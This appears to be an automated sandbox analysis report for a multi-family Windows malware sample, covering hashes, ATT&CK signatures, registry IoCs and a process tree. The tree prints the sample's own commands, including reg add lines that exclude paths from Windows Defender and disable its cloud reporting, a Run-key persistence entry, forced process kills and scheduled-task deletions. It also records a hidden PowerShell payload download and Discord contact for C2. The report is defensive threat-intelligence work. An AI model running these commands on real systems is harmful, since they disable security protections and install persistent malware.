be8daf0d4227d352c31fecf04c7b9e1f1783206050978804331a7416298955bd

Analysis

max time kernel
150s
max time network
125s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/11/2026, 09:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-01_bf306df4c9d71c928fa38b0e2360ed03_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Size 987KB
Sample261102-ly97cseg23
SHA256 be8daf0d4227d352c31fecf04c7b9e1f1783206050978804331a7416298955bd
MD5 bf306df4c9d71c928fa38b0e2360ed03
SHA1 31ff0f2693b528d7b83781fe71895f91aa2f3564
SHA512 49585ec04352b96711c7b946dd5daa38c6d2924eeaf91cd714204f03c3ffaa46e6aa434f47747fd53e92f696e38abfcb0dc32a74c43452b99da3157288c39053
SSDEEP 24576:pwo25Qdxps+8HXXhDunkohvSbems3KMY6H:pw1Qs+83En5mT6
TLSH
T17825E052F2A445FEE07B9139C9869A1BFB723805076087CB23F806552FA77E45EBB311
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://www.python.org/ftp/python/3.11.9/python-3.11.9-amd64.exe

Signatures

Turns off Windows Defender SpyNet reporting 2 TTPs
defense_evasion

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WUHelper\WinUpdateHelper.exe = "0"	WinUpdateHelper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\Microsoft\Windows\Sys = "0"	WinUpdateHelper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\Microsoft\Windows\DiagHost = "0"	WinUpdateHelper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\spool\driv = "0"	WinUpdateHelper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\Microsoft\Windows\Dev = "0"	WinUpdateHelper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WUHelper = "0"	WinUpdateHelper.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	WinUpdateHelper.exe

Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 1 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c640-198.dat	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
10	5356	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4344	powershell.exe
3236	powershell.exe
4188	powershell.exe
5356	powershell.exe
2640	powershell.exe
2696	powershell.exe
4328	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
10	5356	powershell.exe

Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

Disable Windows Driver Blocklist via Registry.

defense_evasion

Modify Registry

T1112

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	WinUpdateHelper.exe

Executes dropped EXE 5 IoCs

pid	Process
3736	WinUpdateHelper.exe
5428	WdfDiagSvc.exe
260	WdfDiagSvc.exe
6008	wdf_py_inst.exe
6048	wdf_py_inst.exe

Loads dropped DLL 33 IoCs

pid	Process
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
3736	WinUpdateHelper.exe
6048	wdf_py_inst.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3552	icacls.exe
3448	icacls.exe
5736	icacls.exe
3868	icacls.exe

Windows security modification 2 TTPs 12 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\Microsoft\Windows\Dev = "0"	WinUpdateHelper.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\SpyNet	WinUpdateHelper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\SpyNet\SubmitSamplesConsent = "2"	WinUpdateHelper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\SpyNet\DisableBlockAtFirstSeen = "0"	WinUpdateHelper.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	WinUpdateHelper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WUHelper\WinUpdateHelper.exe = "0"	WinUpdateHelper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\Microsoft\Windows\DiagHost = "0"	WinUpdateHelper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\spool\driv = "0"	WinUpdateHelper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WUHelper = "0"	WinUpdateHelper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\SpyNet\SpyNetReporting = "0"	WinUpdateHelper.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	WinUpdateHelper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\Microsoft\Windows\Sys = "0"	WinUpdateHelper.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\DiagHostService = "\"C:\\ProgramData\\Microsoft\\Windows\\DiagHost\\WdfDiagSvc.exe\""	WinUpdateHelper.exe

Checks for any installed AV software in registry 1 TTPs 13 IoCs

Security Software Discovery

T1518.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\AVAST Software\Avast\Paths\C:\ProgramData\Microsoft\Windows\Sys = "1"	WinUpdateHelper.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVAST Software\Avast\Paths	WinUpdateHelper.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVAST Software\Avast	WinUpdateHelper.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVAST Software\Avast\Paths	WinUpdateHelper.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVAST Software\Avast\Paths\C:\ProgramData\Microsoft\Windows\Sys = "1"	WinUpdateHelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\SOFTWARE\AVAST Software\Avast\Paths	WinUpdateHelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\AVAST Software\Avast	WinUpdateHelper.exe
Key queried	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\AVAST Software\Avast	WinUpdateHelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\AVAST Software\Avast\Paths	WinUpdateHelper.exe
Key queried	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\AVAST Software\Avast\Paths	WinUpdateHelper.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\AVAST Software\Avast\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WUHelper = "1"	WinUpdateHelper.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\AVAST Software\Avast\Paths\C:\Users\Admin\AppData\Local\Microsoft\Windows\WUHelper = "1"	WinUpdateHelper.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\AVAST Software\Avast\Paths\C:\Users\Admin\AppData\Local\Temp = "1"	WinUpdateHelper.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
6	discord.com
9	discord.com
1	discord.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\spool\driv\wdf_guard.bin	WinUpdateHelper.exe
File opened for modification	C:\Windows\System32\spool\driv\cmsDev	WinUpdateHelper.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3372	cmd.exe
3196	cmd.exe
3232	cmd.exe
4396	cmd.exe
2632	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WdfDiagSvc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-11-01_bf306df4c9d71c928fa38b0e2360ed03_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-11-01_bf306df4c9d71c928fa38b0e2360ed03_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WdfDiagSvc.exe

System Location Discovery: System Language Discovery 1 TTPs 28 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	where.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wdf_py_inst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wdf_py_inst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinUpdateHelper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	where.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-11-01_bf306df4c9d71c928fa38b0e2360ed03_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-11-01_bf306df4c9d71c928fa38b0e2360ed03_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
852	timeout.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
1808	taskkill.exe
5892	taskkill.exe
4776	taskkill.exe
4540	taskkill.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4648	schtasks.exe
5364	schtasks.exe
5696	schtasks.exe
1464	schtasks.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
2640	powershell.exe
2640	powershell.exe
2640	powershell.exe
2696	powershell.exe
2696	powershell.exe
2696	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4344	powershell.exe
4344	powershell.exe
4344	powershell.exe
3236	powershell.exe
3236	powershell.exe
3236	powershell.exe
4188	powershell.exe
4188	powershell.exe
4188	powershell.exe
5428	WdfDiagSvc.exe
5428	WdfDiagSvc.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4136	2026-11-01_bf306df4c9d71c928fa38b0e2360ed03_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	4540	taskkill.exe
Token: SeDebugPrivilege	1808	taskkill.exe
Token: SeDebugPrivilege	5892	taskkill.exe
Token: SeDebugPrivilege	4776	taskkill.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	4344	powershell.exe
Token: SeDebugPrivilege	3236	powershell.exe
Token: SeDebugPrivilege	4188	powershell.exe
Token: SeDebugPrivilege	5356	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4136	2026-11-01_bf306df4c9d71c928fa38b0e2360ed03_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 4136 wrote to memory of 3232	4136	2026-11-01_bf306df4c9d71c928fa38b0e2360ed03_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	90
PID 3232 wrote to memory of 1984	3232	cmd.exe	92
PID 1984 wrote to memory of 1056	1984	net.exe	93
PID 3232 wrote to memory of 2328	3232	cmd.exe	94
PID 3232 wrote to memory of 852	3232	cmd.exe	95
PID 4136 wrote to memory of 4396	4136	2026-11-01_bf306df4c9d71c928fa38b0e2360ed03_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	96
PID 4396 wrote to memory of 3480	4396	cmd.exe	98
PID 3480 wrote to memory of 5644	3480	net.exe	99
PID 4396 wrote to memory of 2848	4396	cmd.exe	100
PID 4396 wrote to memory of 4312	4396	cmd.exe	101
PID 4396 wrote to memory of 5756	4396	cmd.exe	102
PID 4396 wrote to memory of 1040	4396	cmd.exe	103
PID 4396 wrote to memory of 4768	4396	cmd.exe	104
PID 4396 wrote to memory of 2632	4396	cmd.exe	105
PID 2632 wrote to memory of 4388	2632	cmd.exe	106
PID 4396 wrote to memory of 3372	4396	cmd.exe	107
PID 3372 wrote to memory of 1988	3372	cmd.exe	108
PID 3372 wrote to memory of 4496	3372	cmd.exe	109
PID 4396 wrote to memory of 3736	4396	cmd.exe	110
PID 3736 wrote to memory of 4540	3736	WinUpdateHelper.exe	111
PID 3736 wrote to memory of 1808	3736	WinUpdateHelper.exe	114
PID 3736 wrote to memory of 5892	3736	WinUpdateHelper.exe	116
PID 3736 wrote to memory of 4776	3736	WinUpdateHelper.exe	118
PID 3736 wrote to memory of 2640	3736	WinUpdateHelper.exe	120
PID 3736 wrote to memory of 4180	3736	WinUpdateHelper.exe	122
PID 3736 wrote to memory of 3492	3736	WinUpdateHelper.exe	124
PID 3736 wrote to memory of 2392	3736	WinUpdateHelper.exe	126
PID 3736 wrote to memory of 3272	3736	WinUpdateHelper.exe	128
PID 3736 wrote to memory of 2312	3736	WinUpdateHelper.exe	130
PID 3736 wrote to memory of 964	3736	WinUpdateHelper.exe	132
PID 3736 wrote to memory of 1692	3736	WinUpdateHelper.exe	134
PID 3736 wrote to memory of 2696	3736	WinUpdateHelper.exe	136
PID 3736 wrote to memory of 4328	3736	WinUpdateHelper.exe	138
PID 3736 wrote to memory of 3552	3736	WinUpdateHelper.exe	140
PID 3736 wrote to memory of 3448	3736	WinUpdateHelper.exe	142
PID 3736 wrote to memory of 5736	3736	WinUpdateHelper.exe	144
PID 3736 wrote to memory of 3868	3736	WinUpdateHelper.exe	146
PID 3736 wrote to memory of 4344	3736	WinUpdateHelper.exe	148
PID 3736 wrote to memory of 3236	3736	WinUpdateHelper.exe	150
PID 3736 wrote to memory of 2788	3736	WinUpdateHelper.exe	152
PID 3736 wrote to memory of 4188	3736	WinUpdateHelper.exe	154
PID 3736 wrote to memory of 124	3736	WinUpdateHelper.exe	156
PID 3736 wrote to memory of 4648	3736	WinUpdateHelper.exe	158
PID 3736 wrote to memory of 5364	3736	WinUpdateHelper.exe	160
PID 3736 wrote to memory of 5696	3736	WinUpdateHelper.exe	162
PID 3736 wrote to memory of 3264	3736	WinUpdateHelper.exe	164
PID 3736 wrote to memory of 2000	3736	WinUpdateHelper.exe	167
PID 3736 wrote to memory of 1860	3736	WinUpdateHelper.exe	169
PID 3736 wrote to memory of 2312	3736	WinUpdateHelper.exe	171
PID 3736 wrote to memory of 2924	3736	WinUpdateHelper.exe	173
PID 3736 wrote to memory of 5428	3736	WinUpdateHelper.exe	176
PID 5428 wrote to memory of 3196	5428	WdfDiagSvc.exe	179
PID 5428 wrote to memory of 5356	5428	WdfDiagSvc.exe	181
PID 3196 wrote to memory of 4684	3196	cmd.exe	183
PID 3196 wrote to memory of 1464	3196	cmd.exe	184
PID 5356 wrote to memory of 6008	5356	powershell.exe	185
PID 6008 wrote to memory of 6048	6008	wdf_py_inst.exe	186

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-11-01_bf306df4c9d71c928fa38b0e2360ed03_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-11-01_bf306df4c9d71c928fa38b0e2360ed03_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Microsoft\Windows\WUHelper\SvcInit.cmd" excl
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3232
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1984
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1056
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Microsoft\Windows\WUHelper" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2328
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Microsoft\Windows\WUHelper\SvcInit.cmd" run
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4396
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3480
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5644
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet" /v SpyNetReporting /t REG_DWORD /d 0 /f
    3⤵
    PID:2848
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
    3⤵
    PID:4312
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 0 /f
    3⤵
    PID:5756
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpyNetReporting /t REG_DWORD /d 0 /f
    3⤵
    PID:1040
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
    3⤵
    PID:4768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c where pythonw 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2632
  - - C:\Windows\system32\where.exe
      where pythonw
      4⤵
      PID:4388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\WdfDiag" /v PythonW 2>nul | find "REG_SZ"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3372
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\WdfDiag" /v PythonW
      4⤵
      PID:1988
  - - C:\Windows\system32\find.exe
      find "REG_SZ"
      4⤵
      PID:4496
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\WUHelper\WinUpdateHelper.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\WUHelper\WinUpdateHelper.exe"
    3⤵
    - Windows security bypass
    - Modify Registry: Disable Windows Driver Blocklist
    - Executes dropped EXE
    - Loads dropped DLL
    - Windows security modification
    - Adds Run key to start application
    - Checks for any installed AV software in registry
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3736
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im OptiDev /t
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4540
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im WdfDiagSvc.exe /t
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1808
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im SensorDataService.exe /t
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5892
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im WdfDiagHost.exe /t
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4776
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "try{Get-WmiObject Win32_Process | Where-Object{$_.CommandLine -like
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2640
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /delete /tn "Microsoft\Windows\UpdateOrchestrator\DiagHostUpdate" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4180
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /delete /tn "Microsoft\Windows\WDI\BackgroundDiagnostic" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3492
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /delete /tn "Microsoft\Windows\WindowsUpdate\AUSessionConnect" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2392
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /delete /tn "Microsoft\Windows\WDF\DiagSvc" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3272
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /delete /tn "IntDev" /f
      4⤵
      System Location Discovery: System Language Discovery
